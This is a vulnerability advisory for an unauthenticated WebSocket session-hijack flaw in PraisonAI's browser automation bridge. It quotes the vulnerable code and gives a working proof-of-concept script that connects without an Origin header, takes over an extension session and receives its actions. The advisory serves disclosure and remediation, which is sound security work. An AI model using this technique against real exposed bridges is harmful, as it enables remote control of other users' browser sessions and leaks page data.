CVE-2026-40289: PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

Summary praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send startsession, cause the server to forward startautomation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

- Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30 - Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173 - Unauthenticated startsession routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302 - Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356 - Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

python origin = websocket.headers.get("origin") if origin: ... if not isallowed: await websocket.close(code=1008) return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"startsession", ...}. The server then looks for the first other websocket without a session and sends it a startautomation message:

python if clientconn != conn and clientconn.websocket and not clientconn.sessionid: await clientconn.websocket.sendtext(jsonmod.dumps(startmsg)) clientconn.sessionid = sessionid senttoextension = True break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same sessionid, including the unauthenticated initiating client:

python actionresponse = { "type": "action", "sessionid": sessionid, action, }

for clientid, clientconn in self.connections.items(): if clientconn.sessionid == sessionid and clientconn != conn: await clientconn.websocket.sendjson(actionresponse)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

bash cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI" ./tmp/pocs/poc.sh

Expected vulnerable output:

text [+] No-Origin client accepted: True [+] Session forwarded to extension: True [+] Action broadcast to attacker: True [+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

1. Start the local browser bridge from the checked-out source tree. 2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin. 3. Connect a second websocket with no Origin header. 4. Send startsession from the unauthenticated websocket. 5. Observe that the server forwards startautomation to the extension websocket. 6. Send an observation from the extension websocket using the assigned sessionid. 7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

sh #!/bin/sh set -eu

SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPTDIR/../.."

exec uv run --no-project \ --with fastapi \ --with uvicorn \ --with websockets \ python3 "$SCRIPTDIR/poc.py"

tmp/pocs/poc.py:

python #!/usr/bin/env python3 """Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects: 1. A fake extension client using an arbitrary chrome-extension Origin 2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the extension connection, and can receive the resulting action broadcast back over that hijacked session. """

from future import annotations

import asyncio import json import os import socket import sys import tempfile from pathlib import Path

REPOROOT = Path(file).resolve().parents[2] SRCROOT = REPOROOT / "src" / "praisonai" if str(SRCROOT) not in sys.path: sys.path.insert(0, str(SRCROOT))

def pickport() -> int: with socket.socket(socket.AFINET, socket.SOCKSTREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1]

class DummyBrowserAgent: """Minimal stub to avoid real LLM/browser dependencies during validation."""

def init(self, model: str, maxsteps: int, verbose: bool): self.model = model self.maxsteps = maxsteps self.verbose = verbose

async def aprocessobservation(self, message: dict) -> dict: return { "action": "done", "thought": f"processed: {message.get('url', '')}", "done": True, "summary": "dummy action generated", }

async def main() -> int: temphome = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-") os.environ["HOME"] = temphome.name

from praisonai.browser.server import BrowserServer import praisonai.browser.agent as agentmodule import uvicorn import websockets

agentmodule.BrowserAgent = DummyBrowserAgent

port = pickport() server = BrowserServer(host="127.0.0.1", port=port, verbose=False) app = server.getapp()

config = uvicorn.Config( app, host="127.0.0.1", port=port, loglevel="error", accesslog=False, ) uvicornserver = uvicorn.Server(config) servertask = asyncio.createtask(uvicornserver.serve())

try: for in range(50): if uvicornserver.started: break await asyncio.sleep(0.1) else: raise RuntimeError("Uvicorn server did not start in time")

wsurl = f"ws://127.0.0.1:{port}/ws"

async with websockets.connect( wsurl, origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", ) as extensionws: extensionwelcome = json.loads(await extensionws.recv()) print("[+] Extension welcome:", extensionwelcome)

async with websockets.connect(wsurl) as attackerws: attackerwelcome = json.loads(await attackerws.recv()) print("[+] Attacker welcome:", attackerwelcome)

await attackerws.send( json.dumps( { "type": "startsession", "goal": "Open internal admin page and reveal secrets", "model": "dummy", "maxsteps": 1, } ) ) startresponse = json.loads(await attackerws.recv()) print("[+] Attacker startsession response:", startresponse)

hijackedmsg = json.loads(await extensionws.recv()) print("[+] Extension received forwarded message:", hijackedmsg)

sessionid = hijackedmsg["sessionid"] await extensionws.send( json.dumps( { "type": "observation", "sessionid": sessionid, "stepnumber": 1, "url": "https://victim.example/internal", "elements": [{"selector": "#secret"}], } ) )

attackeraction = json.loads(await attackerws.recv()) attackerstatus = json.loads(await attackerws.recv()) print("[+] Attacker received broadcast action:", attackeraction) print("[+] Attacker received completion status:", attackerstatus)

nooriginclientconnected = attackerwelcome.get("status") == "connected" forwardedtoextension = hijackedmsg.get("type") == "startautomation" actionbroadcasted = ( attackeraction.get("type") == "action" and attackeraction.get("sessionid") == sessionid )

print("[+] No-Origin client accepted:", nooriginclientconnected) print("[+] Session forwarded to extension:", forwardedtoextension) print("[+] Action broadcast to attacker:", actionbroadcasted)

if nooriginclientconnected and forwardedtoextension and actionbroadcasted: print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.") return 0

print("[-] RESULT: NOT VULNERABLE") return 1 finally: uvicornserver.shouldexit = True try: await asyncio.waitfor(servertask, timeout=5) except Exception: servertask.cancel() temphome.cleanup()

if name == "main": raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

- Operators who run praisonai browser start with the default host binding - Users with an active connected browser extension session - Environments where the bridge is reachable from other hosts on the network

Recommended Fix Suggested remediations:

1. Require explicit authentication for every websocket client connecting to /ws. 2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport. 3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure. 4. Do not route startsession to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.